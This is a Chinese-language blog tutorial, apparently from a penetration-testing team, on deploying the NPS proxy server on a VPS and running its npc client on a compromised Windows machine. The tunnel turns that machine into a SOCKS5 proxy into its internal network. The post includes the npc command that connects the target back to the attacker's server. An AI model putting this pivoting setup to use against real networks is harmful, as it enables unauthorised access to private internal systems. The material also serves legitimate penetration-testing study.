NPS搭建与代理转发

NPS下载

服务端：安装在VPS上，提供代理服务

客户端：安装在目标设备（需被代理的机器），此处使用Windows客户端

我们需要提供NPS服务的就是服务端也就是我们的VPS，客户端就是我们获取shell的目标机，我们需要linux的服务端和windows的客户端。

1. 打开VPS终端，查看系统版本

uname -a

不知道下哪个没关系，复制下来丢给dp老师，问问他是安装amd的还是arm的

2. 下载好以后传到VPS上，终端里cd过去用命令解压
   tar -zxf linux_amd64_server.tar.gz

配置服务端

需要配置好NPS访问端口以及登录账号密码，登录密钥等等（如果不更改登录密钥会存在未授权访问漏洞）

vim /etc/nps/conf/nps.conf

打开配置文件按I进入编辑模式修改对应位置，

8024为NPS桥接端口，8010为NPS访问端口，以及登录账号密码等等自行修改。

注意使用默认密钥会存在未授权访问

修改好以后输入wq退出保存编辑模式

到这里就配置好可以使用了

启动NPS服务

回到我们最开始解压NPS的位置，输入./nps start启用nps服务

访问

VPS ip：你设置的端口

登录进去

代理转发配置

做到在内网中自由冲浪，在做代理转发之前，切记把VPS防火墙关掉，当然如果你会配置出入站规则，就只需要配置客户端连接端口、NPS WEB访问端口以及后续用到的代理转发端口设置入站规则即可。

创建客户端目标，随便填写即可，认证账号密码后面会用到，不要设置太麻烦

创建好之后把npc的客户端拷贝到目标机里然后运行红框框里的命令

ps:我们是windows所以命令是

npc.exe -server VPSIP:桥接端口 -vkey 认证密钥 -username 账号 -password 密码
运行好之后我们这里刷新发现上线

进入sock5配置代理转发端口

配置好后进到proxifier里配置代理服务器（我们通过我们的VPS上的9999端口将目标内网内容转发到我们的机子上）

之前创建客户端的时候填写的账号密码admin/admin，地址填写VPS地址。

创建好之后去代理规则里创建一个新的代理规则，改成我们刚刚穿好的socks5代理服务器。

访问目标内网站点，并非相同网段下但可以访问，代理转发成功

作者：晨星安全团队--1nt ma1n

---

• 分类： 内网
• 标签： 内网